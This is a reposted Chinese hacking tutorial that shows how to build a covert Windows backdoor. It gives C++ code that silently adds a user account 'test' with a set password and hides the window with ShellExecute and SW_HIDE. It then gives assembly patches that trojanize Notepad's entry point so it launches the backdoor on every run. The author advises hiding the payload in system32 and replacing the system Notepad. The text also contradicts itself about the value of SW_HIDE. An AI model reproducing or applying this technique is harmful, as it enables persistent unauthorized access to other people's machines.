天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧安全 >> 正文

骇客学堂:逆向工程打造隐蔽的后门

2008-2-18赛迪网佚名

  本文测试平台:windows xp sp2, vc++6.0

  

  我很喜欢孟方明[-273]的文章,很有启发性,常常是show一种思路,而不仅仅是一种方法。

  《逆向工程打造隐蔽的后门》中的添加用户的后门,还没有做到真正的隐蔽,因为有2次会闪过dos(我也不知道改叫什么窗口,暂且叫dos吧)窗口。但是孟方明提供了思路,我等菜鸟花了数星期研究之后,小有心得,拿出来给大家分享,下面我来给出方法:

  

  开始真正的测试之前,先看下面的下面这个程序代码(相信菜鸟也可以看懂):

  

  //测试程序,作用添加一个用户test并修改密码为windows

  //AddUser.cpp

  #include

  

  int main(int argc, char* argv[])

  {

  system("net user test /add");

  system("net user test windows");

  

  system("pause"); //暂停程序,以便查看程序是否成功运行,实际应用时去掉

  return 0;

  }

  

  编译一下,将生成的程序重命名为AddUser.exe,运行

  

  

  没有关系,赶紧删除test这个用户

  

  再来看看下面的代码:

  

  // ExecuteAddUser.cpp

  #include

  

  int main(int argc, char* argv[])

  {

  ShellExecute(0, "open", "AddUser.exe", "", "", SW_HIDE); //注意SW_HIDE

  

  system("pause"); //暂停程序,以便查看程序是否成功运行,实际应用时去掉

  return 0;

  }

  

  也编译一下,生成ExecuteAddUser.exe,现在把AddUser.exe复制到ExecuteAddUser.exe所在的目录。运行ExecuteAddUser.exe, 嘿嘿,你没有看到AddUser.exe闪过dos窗口吧。去看看系统用户,看到test用户了吧。为什么没有显示窗口呢?上面已经表示出来了这里的参数SW_HIDE就是不显示窗口的意思,详细描述请查阅MSDN。而且进程列表里面没有cmd.exe

  

  到这里我们的具体思路就已经出来了:

  

  只要把ExecuteAddUser.exe的代码嵌入到某一个程序里面(假设这里是A.exe),这样每次运行A.exe就会执行我们的AddUser.exe,如果把ExecuteAddUser.exe的代码嵌入到记事本,嘿嘿,那么这个用户就很难从机器上消失了,是不是有点强盗逻辑。

  

  想法是好的,但是要嵌入到某一个程序里面,就需要注意这里的参数SW_HIDE了,因为我们嵌入的时候,代码不能用SW_HIDE。其实SW_HIDE是微软定义的一个宏而已,我想到一个比较傻的办法来解决这个问题。

  在vc++的目录搜索。终于在WINUSER.H中

  找到如下定义:

  /*

  * ShowWindow() Commands

  */

  #define SW_HIDE 0

  中间的省略。

  #define SW_MAX 11

  

  可以看到SW_HIDE被定义为1。

  

  问题解决了,去掉AddUser.cpp中的system("pause"); 去掉再次编译为AddUser.exe,复制到D盘(这里只是测试,实际上可能会被放到

  c:\windows\system32\......,藏得越深越好啊)。

  

  剩下的事情就很简单了基本上就是和孟方明的操作一样。修改如下:

  

  原来的记事本入口:

  

  01006AE0 > $ 6A 70 PUSH 70

  01006AE2 . 68 88180001 PUSH notepad.01001888

  01006AE7 . E8 BC010000 CALL notepad.01006CA8

  

  修改为:

  

  01006AE0 > $ /E9 BB120000 JMP notepad_.01007DA0

  01006AE5 > |90 NOP

  01006AE6 . |90 NOP

  01006AE7 . |E8 BC010000 CALL notepad_.01006CA8

  

  在01007D74添加如下字符:

  

  01007D74 . 64 3A 5C 5C 4>ASCII "d:\\AddUser.exe",0

  01007D84 . 6F 70 65 6E 0>ASCII "open",0

  

  

  

  修改01007DA0为:

  01007DA0 > \60 PUSHAD

  01007DA1 . 6A 00 PUSH 0 ; /IsShown = 0

  01007DA3 . 6A 00 PUSH 0 ; |DefDir = NULL

  01007DA5 . 6A 00 PUSH 0 ; |Parameters = NULL

  01007DA7 . 68 747D0001 PUSH notepad_.01007D74 ; |FileName = "d:\\AddUser.exe"

  01007DAC . 68 847D0001 PUSH notepad_.01007D84 ; |Operation = "open"

  01007DB1 . 6A 00 PUSH 0 ; |hWnd = NULL

  01007DB3 . 90 NOP ; |

  01007DB4 . 90 NOP ; |

  01007DB5 . 90 NOP ; |

  01007DB6 . E8 FEAB3F76 CALL SHELL32.ShellExecuteA ; \ShellExecuteA

  01007DBB . 61 POPAD

  01007DBC . 6A 70 PUSH 70

  01007DBE . 68 88180001 PUSH notepad_.01001888

  01007DC3 .^ E9 1DEDFFFF JMP notepad_.01006AE5

  

  修改完成后保存为note_test.exe,运行,哈哈,没有看到dos窗口吧,看看系统用户吧,有个test吧,呵呵成功。现在修改路径AddUser.exe的路径吧,别忘了在记事本里修改啊,也不要忘了覆盖系统的记事本,除非别人不用记事本,否则。。。。。。呵呵.。

欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛https://bbs.txwb.com

关注天下网吧微信,了解网吧网咖经营管理,安装维护:


本文来源:赛迪网 作者:佚名

声明
本文来源地址:0
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。若文章侵犯了您的相关权益,请及时与我们联系,我们会及时处理,感谢您对本站的支持!联系Email:support@txwb.com.,本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧·网吧天下
  • 本周热门
  • 本月热门
  • 阅读排行